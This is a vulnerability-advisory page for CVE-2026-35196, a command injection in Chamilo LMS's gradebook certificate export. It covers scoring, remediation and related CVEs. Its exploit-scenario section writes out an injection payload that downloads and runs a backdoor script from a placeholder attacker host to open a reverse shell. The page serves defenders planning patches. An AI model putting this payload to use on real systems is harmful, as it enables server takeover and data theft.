Skip to main content

Chamilo Lms EUVDEUVD-2026-22722

| CVE-2026-35196 HIGH
OS Command Injection (CWE-78)
2026-04-14 security-advisories@github.com
8.8
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege credentials
  2. Delivery
    Poison session _cid variable with shell metacharacters
  3. Exploit
    Trigger certificate export via gradebook AJAX
  4. Execution
    Inject commands execute via shell_exec()
  5. Persist
    Establish persistence and exfiltrate data
  6. Impact
    Full system compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authenticated user with Chamilo LMS account in versions prior to 2.0.0-RC.3. Attacker must access the gradebook export_all_certificates action in main/inc/ajax/gradebook.ajax.php after poisoning their session's _cid variable with shell metacharacters. No victim interaction required beyond initial login.

Impact

Real-world risk is HIGH despite requiring authentication (PR:L). The CVSS 8.8 score accurately reflects severe impact across confidentiality, integrity, and availability (C:H/I:H/A:H) with network accessibility (AV:N) and low attack complexity (AC:L). The authentication requirement provides minimal protection since many educational platforms have open registration or broad user bases. The vulnerability enables full system compromise once credentials are obtained, allowing attackers to pivot from a low-privilege student or instructor account to complete server takeover. The technical details and commit reference in the GitHub advisory provide sufficient information for skilled attackers to develop exploits, though no public exploit identified at time of analysis. Absence of EPSS data (likely due to recent disclosure) prevents probability-based risk scoring, but the combination of simple exploitation, severe impact, and detailed public disclosure makes this a genuine priority for organizations running affected Chamilo versions. The fix availability in version 2.0.0-RC.3 provides clear remediation path, elevating urgency for patching operations.

Exploit ScenarioDerived

An attacker registers a low-privilege student account on a vulnerable Chamilo LMS installation or compromises existing credentials through phishing. They manipulate their session data to poison the $_SESSION['_cid'] variable with malicious shell metacharacters such as '; wget http://attacker.com/backdoor.sh -O /tmp/shell.sh; bash /tmp/shell.sh #'. When they trigger the certificate export functionality via the gradebook.ajax.php endpoint, the unsanitized course ID flows into shell_exec(), causing the server to execute their injected commands with the web server's privileges, establishing a reverse shell and granting persistent access to the underlying system.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 14, 2026

OS command injection in Chamilo LMS prior to 2.0.0-RC.3 allows authenticated attackers to execute arbitrary system commands via session poisoning of the course ID parameter. Attackers with low-privilege accounts can manipulate the $_SESSION['_cid'] variable to inject shell metacharacters into shell_exec() calls in the gradebook certificate export functionality, achieving full system compromise. CVSS 8.8 (High) with network attack vector and low complexity. No public exploit identified at time of analysis, though technical details are disclosed in the GitHub advisory. EPSS data not available for this recent CVE.

RemediationAI

Upgrade immediately to Chamilo LMS version 2.0.0-RC.3 or later, available at https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.0-RC.3. The fix implements proper input sanitization using escapeshellarg() to neutralize shell metacharacters before passing the course ID to shell_exec() commands, as documented in commit 62671e5e268f235cddfba704edee90f35c234df1. Until patching is completed, consider implementing application-layer controls such as restricting access to the gradebook certificate export functionality through web application firewall rules targeting main/inc/ajax/gradebook.ajax.php or temporarily disabling the export_all_certificates feature if operationally feasible. Review session management configurations to ensure session data integrity and monitor for suspicious patterns in course ID parameters within session storage. Organizations unable to immediately upgrade should prioritize network segmentation to limit potential lateral movement following compromise and implement enhanced monitoring for shell command execution anomalies.

Affected VersionsENISA

chamilo-lms < 2.0.0-RC.3

Affected Packages

euvd chamilo_lms fix: 2.0.0-RC.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the Chamilo Learning Management System, a PHP-based open-source e-learning platform. The flaw resides in main/inc/ajax/gradebook.ajax.php within the export_all_certificates action handler. The code retrieves the course identifier via api_get_course_id(), which reads from the session variable $_SESSION['_cid'], and passes this value directly into a shell_exec() command without sanitization using escapeshellarg() or equivalent input validation. CWE-78 (OS Command Injection) occurs when untrusted data flows into system shell commands. In PHP, shell_exec() executes commands through the system shell, making it vulnerable to metacharacter injection (semicolons, pipes, backticks, etc.) if inputs are not properly escaped. The session-based attack vector is particularly dangerous because session data can be poisoned through various means including session fixation, deserialization flaws, or other session manipulation techniques depending on the application's session handling implementation.

Know when Chamilo Lms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch released
Apr 22, 2026 - 18:37 nvd
Patch available
Analysis Updated
Apr 16, 2026 - 05:56 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
2.0.0-RC.3
CVE Published
Apr 14, 2026 - 22:16 nvd
HIGH 8.8

DescriptionCVE.org

Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, an OS Command Injection vulnerability exists in the main/inc/ajax/gradebook.ajax.php endpoint within the export_all_certificates action, where the course code retrieved from the session variable $_SESSION['_cid'] via api_get_course_id() is concatenated directly into a shell_exec() command string without sanitization or escaping using escapeshellarg(). If an attacker can manipulate or poison their session data to inject shell metacharacters into the _cid variable, they can achieve arbitrary command execution on the underlying server. Successful exploitation grants full access to read system files and credentials, alters the application and database, or disrupts server availability. This issue has been fixed in version 2.0.0-RC.3.

Executive ViewAI

Why It Matters

Chamilo LMS versions prior to 2.0.0-RC.3 contain a command injection vulnerability in the gradebook certificate export feature that allows authenticated users with low-privilege accounts to execute arbitrary system commands and potentially compromise the entire LMS infrastructure. Organizations running affected Chamilo instances must prioritize patching to prevent unauthorized access to sensitive course data, student records, and underlying systems.

Business Impact: High
Compensating Controls

Pending patch application: (1) Restrict gradebook certificate export feature access to administrative users only; (2) Implement application-level input validation and sanitization on the course ID parameter; (3) Monitor and alert on certificate export functionality usage; (4) Run Chamilo application with minimal filesystem permissions to limit command execution scope. Apply vendor patch to version 2.0.0-RC.3 or later as primary remediation.

Threat Intelligence Overview

EPSS Score
0.1%
Top 69% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-50187 CRITICAL POC
9.8 Mar 02

Chamilo LMS prior to 1.11.28 has a code injection through SOAP request parameters enabling remote code execution.

CVE-2025-50192 CRITICAL POC
9.8 Mar 02

Chamilo LMS prior to 1.11.30 has a time-based SQL injection in a different endpoint, providing an additional database ex

CVE-2025-50190 CRITICAL POC
9.8 Mar 02

Chamilo LMS prior to 1.11.30 has an error-based SQL injection enabling database extraction.

CVE-2021-35414 CRITICAL POC
9.8 Dec 03

Chamilo LMS v1.11.x was discovered to contain a SQL injection via the doc parameter in main/plagiarism/compilatio/upload

CVE-2019-13082 CRITICAL POC
9.8 Jun 30

Chamilo LMS 1.11.8 and 2.x allows remote code execution through an lp_upload.php unauthenticated file upload feature. Ra

CVE-2025-50199 CRITICAL POC
9.1 Mar 02

Chamilo LMS prior to 1.11.30 has a blind SSRF vulnerability enabling internal network reconnaissance from the learning p

CVE-2023-4220 MEDIUM POC
6.1 Nov 28

Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in C

CVE-2025-50189 HIGH POC
8.8 Mar 02

Chamilo is a learning management system. [CVSS 8.8 HIGH]

CVE-2025-52468 HIGH POC
8.8 Mar 02

Chamilo is a learning management system. Prior to version 1.11.30, an input validation vulnerability exists when importi

CVE-2024-30616 HIGH POC
8.8 Nov 04

Chamilo LMS 1.11.26 is vulnerable to Incorrect Access Control via main/auth/profile. Rated high severity (CVSS 8.8), thi

CVE-2023-4226 HIGH POC
8.8 Nov 28

Unrestricted file upload in `/main/inc/ajax/work.ajax.php` in Chamilo LMS <= v1.11.24 allows authenticated attackers wit

CVE-2023-4225 HIGH POC
8.8 Nov 28

Unrestricted file upload in `/main/inc/ajax/exercise.ajax.php` in Chamilo LMS <= v1.11.24 allows authenticated attackers

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy